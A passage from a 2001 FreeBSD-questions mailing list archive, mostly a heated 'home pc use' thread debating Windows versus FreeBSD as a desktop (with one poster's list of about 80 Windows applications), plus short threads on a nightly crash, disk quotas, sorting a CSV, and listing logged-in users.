<00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Anthony Atkielski wrote: > It may be, if your needs are very limited. I manage perfectly well with FreeBSD on my desktop at work as well as home. I don't consider my needs limited for work purposes. > I have more than 100 applications that I use on Windows, Really? Are you an expert in all of them? Do you really use 100 apps? Or do you just have them installed? John. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:41:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 7BD1137B405 for ; Tue, 20 Nov 2001 04:41:31 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCfNe98831; Tue, 20 Nov 2001 13:41:23 +0100 (CET) Message-ID: <006901c171c0$a9f5c3c0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jan Grant" Cc: "FreeBSD Questions" References: Subject: Re: home pc use Date: Tue, 20 Nov 2001 13:41:17 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jan writes: > I understand you're also seeing odd nightly > crashes, and all on a new machine. I had only one crash, a few days ago, during the night. > Have you tried swapping your memory out for > somethine else, etc.? The likelihood of a hardware problem is far too low to justify such extreme measures. Problems like this are almost invariably software bugs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:43:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 427FE37B417 for ; Tue, 20 Nov 2001 04:43:17 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCguK99014; Tue, 20 Nov 2001 13:42:56 +0100 (CET) Message-ID: <007001c171c0$e1214cc0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Michael Lucas" Cc: "Deman" , References: <008201c17164$d2220e00$0a00000a@atkielski.com> <2519.10.100.98.21.1006246845.squirrel@10.100.3.5> <00a101c171a9$75395d70$0a00000a@atkielski.com> <20011120073451.A97990@blackhelicopters.org> Subject: Re: Mysterious boot during the night Date: Tue, 20 Nov 2001 13:42:50 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Michael writes: > Buying a bundle will also make the cost more > like a commercial software product, which can > be an advantage. There is still the issue of getting prompt and guaranteed support for the software, which is a crippling disadvantage for open-source software in production environments, except at organizations that can afford to have highly-qualified experts on staff. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:45:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id EEE6237B405 for ; Tue, 20 Nov 2001 04:45:42 -0800 (PST) Received: (qmail 51712 invoked from network); 20 Nov 2001 12:45:37 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 12:45:37 -0000 Date: Tue, 20 Nov 2001 07:45:36 -0500 (EST) From: Jaime To: Chops Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Set max folder size In-Reply-To: <001601c17167$191a78e0$0400a8c0@hwaet> Message-ID: <20011120074411.I51617-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Chops wrote: > Is there a way to set a folders maximum size, to keep people from storing > more information than I am willing to allow? I'm not sure if this is what you mean, but there is a disk quota system in FreeBSD. Check the handbook, FAQ, tutorials, etc. for more information. You might also want to install the setquota port to make things easier to set up once you get that far. http://www.freebsd.org and http://www.freebsddiary.org Jaime -- "[A]s we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of ours; and this we should do freely and generously." -- Ben Franklin, http://earlyamerica.com/lives/franklin/chapt10/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:46: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 69FF437B419 for ; Tue, 20 Nov 2001 04:45:58 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCjqL99323; Tue, 20 Nov 2001 13:45:55 +0100 (CET) Message-ID: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: Cc: References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> <3BFA5007.42A27F84@globalnet.co.uk> Subject: Re: home pc use Date: Tue, 20 Nov 2001 13:45:46 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John writes: > Really? Are you an expert in all of them? Expert, perhaps not; but yes, I know them quite well. > Do you really use 100 apps? Yes, I do. See, I actually do productive work with my system; it's not just a toy or a hobby. I need all those applications, and they have to run correctly and reliably on command. > Or do you just have them installed? Nope. I use my computer as a tool, not as an end in itself. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:50:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by hub.freebsd.org (Postfix) with ESMTP id C32B937B416 for ; Tue, 20 Nov 2001 04:50:02 -0800 (PST) Received: from mail.ilrt.bris.ac.uk by dire.bris.ac.uk with SMTP-PRIV with ESMTP; Tue, 20 Nov 2001 12:49:50 +0000 Received: from cmjg (helo=localhost) by mail.ilrt.bris.ac.uk with local-esmtp (Exim 3.16 #1) id 166AL1-0003mg-00; Tue, 20 Nov 2001 12:49:19 +0000 Date: Tue, 20 Nov 2001 12:49:18 +0000 (GMT) From: Jan Grant X-X-Sender: To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: home pc use In-Reply-To: <006901c171c0$a9f5c3c0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > Jan writes: > > > I understand you're also seeing odd nightly > > crashes, and all on a new machine. > > I had only one crash, a few days ago, during the night. > > > Have you tried swapping your memory out for > > somethine else, etc.? > > The likelihood of a hardware problem is far too low to justify such extreme > measures. Problems like this are almost invariably software bugs. If that was the case, then it would be repeatable. And if it was a fairly quiescent system that hung because of software trouble, then there are few interacting processes to look at. If there were only two things going on at night (seti@home and the periodic scripts) _and_ they've both been through the same stuff on a regular basis without a crash (and they don't interact, which they seem not to) then the evidence leans towards your conclusion (it's a software problem) being doubtful; this isn't cargo-cult stuff - the software in question is not mysterious, it's pretty transparent. -- jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk and Nostradamus never dreamed of the Church of the Accellerated Worm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:50:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from malkav.snowmoon.com (malkav.snowmoon.com [209.23.60.62]) by hub.freebsd.org (Postfix) with SMTP id E1D2937B419 for ; Tue, 20 Nov 2001 04:50:33 -0800 (PST) Received: (qmail 51700 invoked from network); 20 Nov 2001 12:43:51 -0000 Received: from localhost.snowmoon.com (HELO localhost) (127.0.0.1) by localhost.snowmoon.com with SMTP; 20 Nov 2001 12:43:51 -0000 Date: Tue, 20 Nov 2001 07:43:51 -0500 (EST) From: Jaime To: "pingcrisis.com\\Ting Ping\\" Cc: freebsd-questions@freebsd.org Subject: Re: Security Question. In-Reply-To: <000801c171b5$c1f39570$b0429cca@pavilion> Message-ID: <20011120074229.X51617-100000@malkav.snowmoon.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, pingcrisis.com\Ting Ping\ wrote: > May i know is there any way i could set my freebsd box so that i could > track what my users on my box were doing and also their network > informations such as IP address etc. Just to get you started, you might want to look at the commands last, finger, w, and who. I've not really heard of any reliable way to handle logging of commands, though. Also, keep an eye on your periodic reports. (You are forwarding root's email to your regular account, right?) Jaime -- "[A]s we enjoy great advantages from the inventions of others, we should be glad of an opportunity to serve others by any invention of ours; and this we should do freely and generously." -- Ben Franklin, http://earlyamerica.com/lives/franklin/chapt10/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:52: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clientmail.realtime.co.uk (simian.realtime.co.uk [213.52.146.137]) by hub.freebsd.org (Postfix) with ESMTP id 750C337B417 for ; Tue, 20 Nov 2001 04:51:58 -0800 (PST) Received: from pan.ehsrealtime.com ([213.52.146.196]) by clientmail.realtime.co.uk with esmtp (Exim 3.20 #1) id 166ANU-00007S-01 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 12:51:52 +0000 Received: from waynep by pan.ehsrealtime.com with local (Exim 3.33 #1) id 166ALh-0007b4-00 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 12:50:01 +0000 From: Wayne Pascoe To: freebsd-questions@freebsd.org Subject: Sort Date: 20 Nov 2001 12:50:01 +0000 Message-ID: <86r8qt7gjq.fsf@pan.ehsrealtime.com> Lines: 21 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, I have a cvs file as follows : id,first_name,last_name,company_name I want to sort this on first name. Doing cat file.csv | sort sorts starting at the beginning of the line. Is there a way for sort to sort a file based on a field delimited by a character, or should I just use a perl script ? Thanks, -- - Wayne Pascoe | Everything to excess. To enjoy the freebsd@molemanarmy.com | flavor of life, take big bites. Moderation http://www.molemanarmy.com | is for monks. - Robert Heinlein | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:54: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mmu.edu.my (ext-dns.mmu.edu.my [203.106.62.11]) by hub.freebsd.org (Postfix) with ESMTP id 8153137B41B for ; Tue, 20 Nov 2001 04:53:51 -0800 (PST) Received: from venus.cyber.mmu.edu.my (venus.cyber.mmu.edu.my [203.106.62.12]) by mmu.edu.my (8.9.1b+Sun/8.9.1) with ESMTP id UAA08794; Tue, 20 Nov 2001 20:48:58 +0800 (MYT) Received: from lunar.cyber.mmu.edu.my (lunar.cyber.mmu.edu.my [10.100.3.5]) by venus.cyber.mmu.edu.my (8.8.8+Sun/8.8.8) with ESMTP id UAA29689; Tue, 20 Nov 2001 20:52:25 +0800 (SGT) Received: from mmu.edu.my (localhost [127.0.0.1]) by lunar.cyber.mmu.edu.my (8.9.3+Sun/8.9.1) with SMTP id UAA26291; Tue, 20 Nov 2001 20:50:49 +0800 (SGT) Received: from 10.100.98.21 (SquirrelMail authenticated user s9810048) by 10.100.3.5 with HTTP; Tue, 20 Nov 2001 20:50:49 +0800 (SGT) Message-ID: <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> Date: Tue, 20 Nov 2001 20:50:49 +0800 (SGT) Subject: Re: home pc use From: "Deman" To: anthony@atkielski.com In-Reply-To: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> Cc: questions@FreeBSD.ORG X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > >> Do you really use 100 apps? > > Yes, I do. See, I actually do productive work with my system; it's not > just a toy or a hobby. I need all those applications, and they have to run > correctly and reliably on command. > Wow 100 apps! I've never use to that count ( yes I'm using Windows and of course also FreeBSD ). May you list up at least 50 of them. :) What area are you in? Graphics? DTP? I'm just quite curious what work are you doing that need so much of apps. -dmn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:57: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id C23BF37B416 for ; Tue, 20 Nov 2001 04:57:02 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKCux500553; Tue, 20 Nov 2001 13:56:59 +0100 (CET) Message-ID: <008b01c171c2$d784e710$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jan Grant" Cc: "FreeBSD Questions" References: Subject: Re: home pc use Date: Tue, 20 Nov 2001 13:56:53 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jan writes: > If that was the case, then it would be repeatable. The same is true of a hardware problem. Overall, I've not seen any difference in repeatability between hardware and software problems. Thus, repeatability or the absence thereof doesn't really point in either direction. However, since hardware is several orders of magnitude more reliable than software these days, the logical working assumption is that it is a software bug, until and unless proven otherwise. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 4:57:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id 3F5C037B417 for ; Tue, 20 Nov 2001 04:57:43 -0800 (PST) Received: from there (unknown [63.112.157.57]) by IMGate1.cshore.com (Postfix) with SMTP id 42BC123F20; Tue, 20 Nov 2001 08:21:58 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111200802.3155@starbreaker.net> To: "Anthony Atkielski" Subject: Re: home pc use Date: Tue, 20 Nov 2001 08:05:13 -0500 X-Mailer: KMail [version 1.3] References: <3BF9B12B.3D521A4D@nycap.rr.com> <200111200747.50426@starbreaker.net> <008201c171c1$78f34440$0a00000a@atkielski.com> In-Reply-To: <008201c171c1$78f34440$0a00000a@atkielski.com> Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Well, Anthony, I take a somewhat more pragmatic approach to computing: at work, I use what my boss pays me to use. If he's paying me to hack Visual Basic on NT, then I'll hack Visual Basic on NT. I don't have to like it, and if it becomes to onerous, then I'll get another job. At home, however, I use what I want to use, and anybody who doesn't approve can get stuffed. - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+lUJcCiK1X1IhlkRAiSUAKDKidKpuFbKPKBlyK0z8v8uqoCsSQCgz41r J0lu8O8L+K1Z9j4towUjEsE= =0NyO -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5: 3:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 18F1937B426 for ; Tue, 20 Nov 2001 05:03:32 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id BF1C966B0F; Tue, 20 Nov 2001 05:03:29 -0800 (PST) Date: Tue, 20 Nov 2001 05:03:29 -0800 From: Kris Kennaway To: Anthony Atkielski Cc: Kris Kennaway , Steve Brown , Chip , questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120050329.A971@xor.obsecurity.org> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120024747.A92560@xor.obsecurity.org> <012501c171b5$dcd9b900$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="7AUc2qLy4jB3hD7Z" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <012501c171b5$dcd9b900$0a00000a@atkielski.com>; from anthony@atkielski.com on Tue, Nov 20, 2001 at 12:23:46PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --7AUc2qLy4jB3hD7Z Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 12:23:46PM +0100, Anthony Atkielski wrote: > Kris writes: >=20 > > I don't know what you mean by "functional and > > ergonomic equivalent of Microsoft Windows". >=20 > I mean something that does everything that Microsoft Windows does, with t= he same > ease of use. Both of these are requirements for any environment advocate= d as an > alternative to Microsoft Windows for the average, non-geek user. I still don't know what that means, since obviously you're drawing some distinction between standard unix window managers like windowmaker, fvwm, sawfish, etc, and Windows. Kris --7AUc2qLy4jB3hD7Z Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+lShWry0BWjoQKURAmKRAKDzI5qMBN5sVIzr3kUsw3ovSswHugCgpyez lIFAtGj6DV8OZxdqH3LI8pU= =E3+k -----END PGP SIGNATURE----- --7AUc2qLy4jB3hD7Z-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:12:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 50BD037B405 for ; Tue, 20 Nov 2001 05:12:06 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fAKDBas02024; Tue, 20 Nov 2001 14:11:36 +0100 (CET) Message-ID: <009001c171c4$e26a71c0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Deman" Cc: References: <007f01c171c1$4be01cd0$0a00000a@atkielski.com> <2696.10.100.98.21.1006260649.squirrel@10.100.3.5> Subject: Re: home pc use Date: Tue, 20 Nov 2001 14:11:19 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Deman writes: > Wow 100 apps! I've never use to that count ( yes > I'm using Windows and of course also FreeBSD ). That's the difference between playing with a machine and using it for business. > May you list up at least 50 of them. :) Remember, you asked. I count 80 just by looking at the machine, of which I use all but half a dozen or so at least every few days, and several dozen every day: CompuServe CSNav-Win CompuServe WinCIM Adobe Acrobat (full version) Adobe Acrobat Reader Adobe Acrobat Distiller Adobe Type Manager Deluxe Adobe PageMaker Adobe Illustrator Adobe Photoshop Adobe Streamline 1500+ Type 1 PostScript and TrueType fonts Apache WinOnCD HP DeskScan Microsoft Visual InterDev Microsoft Visual C++ Diskeeper Lite Microsoft FrontPage Windows Internet Information Server ICQ Microsoft Internet Explorer Opera Lynx WebTV Netscape 4.x Netscape 6.x BlackICE Defender NikonScan Paint Shop Pro Palm IV Desktop Perl PGP QuickTime SecureFX SecureCRT Wacom Microsoft World Atlas ZoneAlarm Microsoft Comic Chat mIRC WS_FTP Pro Extensis MaskPro Corel KnockOut Microsoft NetMeeting Outlook Express Outlook PowerPoint Microsoft Word Microsoft Access Image Composer RealPlayer Windows Media Player Expander BarCode Pro Fritz Rebel EBP Compta Encarta 96 Final Draft Flight Simulator Flight Check Family Tree GeoClock GifAnimator JpegWizard Kodak DC120 software MapThis MathType Money NetHack PKZIP POV-Ray Quark XPress Passport SimCity Harrap's Online Visio VisualRoute Vuescan WinBoard WinZip In order to replace this with FreeBSD, I'd have to be able to run essentially all of the above. I am probably missing a few, as I just glanced at what I had on the machine. > What area are you in? Graphics? DTP? All of the above. > I'm just quite curious what work are you > doing that need so much of apps. Whatever provides me with income. The Windows machine is thus a mission-critical computer for this purpose. -- Anthony To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:19:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 11C0C37B416 for ; Tue, 20 Nov 2001 05:19:29 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166AoA-0001mt-00; Tue, 20 Nov 2001 13:19:26 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166Ana-000KBJ-00; Tue, 20 Nov 2001 13:18:50 +0000 Date: Tue, 20 Nov 2001 13:18:50 +0000 From: setantae To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120131850.GA77414@rhadamanth> References: <3BF9B12B.3D521A4D@nycap.rr.com> <0111191831240Q.60958@chip.wiegand.org> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <20011120023948.A92409@xor.obsecurity.org> <00df01c171b0$2a938be0$0a00000a@atkielski.com> <20011120105642.GA75918@rhadamanth> <012d01c171b6$96b5adc0$0a00000a@atkielski.com> <20011120114236.GA76431@rhadamanth> <005f01c171bf$c4d06b10$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <005f01c171bf$c4d06b10$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 01:34:53PM +0100, Anthony Atkielski wrote: > Ceri writes: > > > It's a window manager. > > Try it, it's in the ports tree. > > Maybe some other time. I've had my fill of window managers for the time being. See below. > > Yes, FreeBSD is suited for server use, but I > > find it perfectly adequate for my dekstop needs > > as well. > > It may be, if your needs are very limited. I have more than 100 applications > that I use on Windows, though, and there is just no way to get the equivalent on > FreeBSD--nor do I have any motivation to try to do so. Why would I want a clone > of Windows? I already _have_ Windows. Who said anything about cloning Windows ? I said that FreeBSD is perfectly good for me as a workstation. I never mentioned Windows. > > As an aside, although most of your arguments are > > generally reasonable, I am astonished at the sweeping > > comments that you make on this list when your > > experience is clearly severely limited with FreeBSD > > and (it seems) Unix-like systems in general. > > There's no magic in FreeBSD. It's an OS like any other, and I've seen lots of > operating systems. Do not assume that a lack of knowledge of individual > commands or structures in FreeBSD on my part is in any way an indication of > general ignorance concering the function and design of operating systems. When > you've seen one or two dispatchers, you've seen them all. > > The fundamental architecture of UNIX is very well know, even by people who don't > use it. After all, it has been around for thirty years, and it's pretty > straightforward. It is thus very easy and valid to make "sweeping comments" > concerning UNIX, whether or not one happens to be one of the world's five > greatest experts on the system. According to the archives, you installed FreeBSD on 31st Oct, 2001. You then proceeded to ask what portmap was. You were amazed that one needs a different kernel to enable SMP. You never heard of the rehash command in csh. These are not FreeBSD specific problems. All of these are things that one could expect from someone with only 3 weeks experience of an OS, but I honestly think that you would benefit from doing some background reading. Another thing that really bugs me is : You come here and basically say ``All window managers suck.'' (ok, I'm paraphrasing). I suggest a window manager that doesn't suck, and you say ``I've had my fill''. I am politely suggesting that you actually try some of the alternatives before writing them all off. > > I'd honestly suggest that you get a system that you > > don't use in production and play with FreeBSD on it. > > Yes, play. > > That's what I'm doing now with my FreeBSD machine. It has no production on it. > However, I still try to run it like a production system, because that's the goal > of using any operating system, over the long term. Production objectives impose > constraints that force you to try harder; it's much more difficult to get a > system in shape for production use than to just "play" with it endlessly. If you seriously wish to use FreeBSD in a production environment, then it's even more important that you familiarise yourself with the system : how to upgrade it, how to install new software, how to get the sources, how it is different from other systems, how it is similar to other systems. You don't seem prepared to do this. There is a handbook that a good body of people have spent and so spend a considerable amount of manhours writing. I *know* that you haven't taken the time to read it. If you took a day off from posting to the list then I'm sure you could get through it : http://www.freeBSD.org/handbook/index.html Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 5:23:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 39B9437B416 for ; Tue, 20 Nov 2001 05:23:14 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166Aro-0001qT-00; Tue, 20 Nov 2001 13:23:12 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 